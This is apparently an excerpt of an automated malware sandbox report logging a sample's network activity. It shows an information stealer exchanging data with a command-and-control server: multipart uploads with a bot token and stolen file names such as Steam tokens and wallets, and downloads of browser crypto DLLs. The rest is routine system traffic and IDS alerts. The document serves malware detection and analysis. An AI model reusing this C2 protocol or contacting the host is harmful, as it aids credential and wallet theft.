Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 41 41 46 48 49 45 42 4b 4a 4b 45 42 46 49 45 48 44 2d 2d 0d 0a Data Ascii: ------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BGCAAFHIEBKJKEBFIEHDContent-Disposition: form-data; name="file"------BGCAAFHIEBKJKEBFIEHD--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDHIEBFHCAKEHIDGHCBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 48 49 45 42 46 48 43 41 4b 45 48 49 44 47 48 43 42 41 2d 2d 0d 0a Data Ascii: ------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JDHIEBFHCAKEHIDGHCBAContent-Disposition: form-data; name="file"------JDHIEBFHCAKEHIDGHCBA--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKFHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="message"wallets------BAAAKJDAAFBAAKEBAAKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"files------DAFIEHIEGDHIDGDGHDHJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 2d 2d 0d 0a Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file"------KFCBAEHCAEGDHJKFHJKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFIDHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="message"ybncbhylepme------EHDBGDHDAECBGDHJKFID--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIDAKFIJJKJJJKEBKJE--

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49758 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C64CC60 PR_Recv,

0_2_6C64CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YNxnkol3c9ptnTY&MD=WCsLR9xX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YNxnkol3c9ptnTY&MD=WCsLR9xX HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
